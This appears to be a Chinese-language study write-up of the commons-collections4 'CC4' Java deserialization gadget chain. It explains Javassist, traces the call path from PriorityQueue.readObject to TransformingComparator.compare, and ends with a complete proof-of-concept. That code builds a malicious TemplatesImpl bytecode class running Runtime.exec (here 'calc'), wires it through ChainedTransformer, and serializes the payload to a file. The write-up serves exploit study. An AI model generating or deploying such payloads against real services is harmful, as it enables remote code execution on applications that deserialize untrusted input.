版本依赖
1 2 3 4 5 6 7 8 9 10 11 12 13
| <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>
<dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.28.0-GA</version> </dependency>
|
前置知识
Javassist
Javassist是一个用来处理Java字节码的类库
导入依赖:
1 2 3 4 5
| <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.28.0-GA</version> </dependency>
|
Javassist类
例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| package org.assass1n.cclearn;
import javassist.*;
public class javassist { public static void CreateFunction() throws Exception{ ClassPool classPool= ClassPool.getDefault();
CtClass classTest = classPool.makeClass("ClassTest");
CtField name = new CtField(classPool.get("java.lang.String"), "name", classTest); name.setModifiers(Modifier.PUBLIC); classTest.addField(name,CtField.Initializer.constant("test"));
classTest.addMethod(CtNewMethod.setter("setName",name)); classTest.addMethod(CtNewMethod.getter("getName",name));
CtConstructor cons = new CtConstructor(new CtClass[]{}, classTest); cons.setBody("{name=\"123\";}"); classTest.addConstructor(cons);
CtConstructor consParam = new CtConstructor(new CtClass[]{classPool.get("java.lang.String")}, classTest); consParam.setBody("{$0.name=$1;}"); classTest.addConstructor(consParam);
CtMethod ctMethod = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, classTest); ctMethod.setModifiers(Modifier.PUBLIC); ctMethod.setBody("{System.out.println(name);}"); classTest.addMethod(ctMethod);
classTest.writeFile("./src/main/java/"); }
public static void main(String[] args) throws Exception { CreateFunction(); } }
|
ClassPool
ClassPool 是 CtClass 对象的容器,按需来读取类文件来构造 CtClass 对象,并保存 CtClass 对象以便以后使用
主要方法:
1 2 3 4 5
| getDefault:获取默认的 ClassPool 对象。 get、getCtClass:根据类名获取 CtClass 对象,用于操作类的字节码。 makeClass:创建一个新的 CtClass 对象,用于新增类。 insertClassPath、appendClassPath:插入类搜索路径,提供给类加载器用于加载类。 toClass:将修改后的 CtClass 加载至当前线程的上下文类加载器中。通过调用 CtClass 的 toClass() 方法实现了将 CtClass 转换为 Class 对象,这样就可以在运行时使用这个类。需要注意的是一旦调用该方法,则无法继续修改已经被加载的 Class 对象。
|
原理
CC2+CC3结合体
后半段是CC3拼接的,利用transformer执行代码
在commons-collections4中TransformingComparator类实现了序列化接口
分析
这条链主要利用了TransformingComparator中的compare()方法

继续往前跟进,PriorityQueue.siftDownUsingComparator()中调用了compare()

往前跟进,PriorityQueue.siftDown()调用了siftDownUsingComparator()

往前跟进,PriorityQueue.heapify()调用了siftDown()

往前跟进发现PriorityQueue.readObject()

构造
因为PriorityQueue是可以序列化的,所以这里可以直接new
1 2 3
| ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
|
这样构造了之后还是不能序列化的,调试一下发现这里没有进入siftDown(),没有满足条件

所以我们构造的时候让size为2即可
有两种方法
- 直接构造size为2(暴力,报错)size为在优先队列中添加元素,直接改序列化时会报错
1 2 3 4
| Class priorityQueueClass = priorityQueue.getClass(); Field sizeField = priorityQueueClass.getDeclaredField("size"); sizeField.setAccessible(true); sizeField.set(priorityQueue,2);
|
1 2
| priorityQueue.add(1); priorityQueue.add(2);
|
跟进一下add

offer 方法每被调用一次,size 都会在原来的基础上加 1

根据前面一直调用可以调用到siftUp(),这个siftUp()和前面siftDown()逻辑差不多

所以在 add 时会提前调用 comparator.compare(),这里就和URLDNS那条链的逻辑一样,所以需要调用 add 后再给comparator赋值
POC

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| package org.assass1n.cclearn;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.*; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.util.PriorityQueue;
public class CC4LearnApplication { public static void main(String[] args) throws Exception{ String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; ClassPool classPool=ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload=classPool.makeClass("CommonsCollections444444444444444"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();
TemplatesImpl templates = new TemplatesImpl(); Class c = templates.getClass(); Field _name = c.getDeclaredField("_name"); _name.setAccessible(true); _name.set(templates,"aaa");
Field _bytecodes = c.getDeclaredField("_bytecodes"); _bytecodes.setAccessible(true);
byte[][] codes = {bytes}; _bytecodes.set(templates,codes);
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[] {Templates.class}, new Object[] {templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(1); priorityQueue.add(2);
Class<TransformingComparator> transformingComparatorClass = TransformingComparator.class; Field transformer = transformingComparatorClass.getDeclaredField("transformer"); transformer.setAccessible(true); transformer.set(transformingComparator,chainedTransformer);
serialize(priorityQueue);
} public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser4.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return null; } }
|